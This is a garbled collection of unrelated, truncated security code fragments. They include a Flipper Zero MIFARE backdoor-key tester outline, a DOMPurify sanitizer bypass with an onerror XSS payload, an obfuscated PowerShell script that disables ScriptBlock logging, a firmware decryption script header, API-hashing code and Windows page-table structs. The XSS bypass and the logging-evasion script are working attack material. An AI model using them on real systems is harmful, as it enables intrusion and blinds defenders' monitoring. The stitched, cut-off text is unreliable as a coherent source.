| Creating a Flipper Zero app to test for this attack involves writing a script that can interact with the RFID module on the Flipper Zero to perform the necessary steps. The Flipper Zero uses a scripting language called **.fap** (Flipper App) format, typically written in C or a high-level scripting language, but it also supports custom Python-like scripting with `flipperzero-tui`. | |
| Here's a basic outline for creating an app that can check for the presence of the backdoor key on a MIFARE Classic card. Note that this is a simplified version and assumes some familiarity with Flipper Zero's development environment. | |
| ### **Step 1: Set Up the Development Environment** | |
| 1. **Install Flipper Zero SDK:** | |
| - Follow the official [Flipper Zero documentation](https://github.com/flipperdevices/flipperzero-firmware) to set up the SDK and development environment. | |
| 2. **Clone the Flipper Zero Firmware:** |
| const createDOMPurify = require("dompurify"); | |
| const { JSDOM } = require("jsdom"); | |
| const http = require("http"); | |
| const server = http.createServer((req, res) => { | |
| const window = new JSDOM("").window; | |
| const DOMPurify = createDOMPurify(window); | |
| const clean = DOMPurify.sanitize(`<a id="\x1b$B"></a>\x1b(B<a id="><img src=x onerror=alert(1)>"></a>`); | |
| res.statusCode = 200; |
Microsoft purchased the software Softricity SoftGrid in 2006 and renamed it to Microsoft Application Virtualization, or App-V for short. Windows shipped with several libraries in System32 and SysWOW64 to support App-V.
One App-V library stands out from all the rest because it only has one exported function named IllBeBack...
That's right!
A library signed by Microsoft, with Terminator in the name, that only has a single callable function named IllBeBack.
| # ScriptBlock Logging Bypass | |
| # @cobbr_io | |
| $GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static') | |
| If ($GroupPolicyField) { | |
| $GroupPolicyCache = $GroupPolicyField.GetValue($null) | |
| If ($GroupPolicyCache['ScriptB'+'lockLogging']) { | |
| $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0 | |
| $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 | |
| } |
| #include <stdio.h> | |
| #include <assert.h> | |
| #include <Windows.h> | |
| // Some of them taken (and modified) from https://github.com/winsiderss/systeminformer | |
| typedef struct _SYSTEM_ISOLATED_USER_MODE_INFORMATION | |
| { | |
| BOOLEAN SecureKernelRunning : 1; | |
| BOOLEAN HvciEnabled : 1; |
| #!/bin/bash | |
| # | |
| # This script takes a Thecus Firmware Image and decrypts it. | |
| # The encryption key is based off of one of the supported | |
| # models, which are listed in the firmware filename. This | |
| # script will try all of the model names in the file name | |
| # and delete any that do not decrypt to a gzip file. | |
| # | |
| # You will need the following c program compiled and passed |
Previous part Resolving APIs dynamically with Labeless & OllyDbg2
Hi, now we try to do the same things using x64dbg with x64-bit target application...
Let's try to find out the difference we need to make in IDA python script...
As the base, I use the previous script (see video how to do the same in OllyDbg 2)
| UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String) | |
| { | |
| SIZE_T Index = 0; | |
| UINT32 Hash = 0; | |
| SIZE_T Length = lstrlenA(String); | |
| while (Index != Length) | |
| { | |
| Hash += String[Index++]; | |
| Hash += Hash << INITIAL_SEED; |
| typedef struct _PML4E | |
| { | |
| union | |
| { | |
| struct | |
| { | |
| ULONG64 Present : 1; // Must be 1, region invalid if 0. | |
| ULONG64 ReadWrite : 1; // If 0, writes not allowed. | |
| ULONG64 UserSupervisor : 1; // If 0, user-mode accesses not allowed. | |
| ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PDPT. |
| typedef struct _PDPTE | |
| { | |
| union | |
| { | |
| struct | |
| { | |
| ULONG64 Present : 1; // Must be 1, region invalid if 0. | |
| ULONG64 ReadWrite : 1; // If 0, writes not allowed. | |
| ULONG64 UserSupervisor : 1; // If 0, user-mode accesses not allowed. | |
| ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PD. |
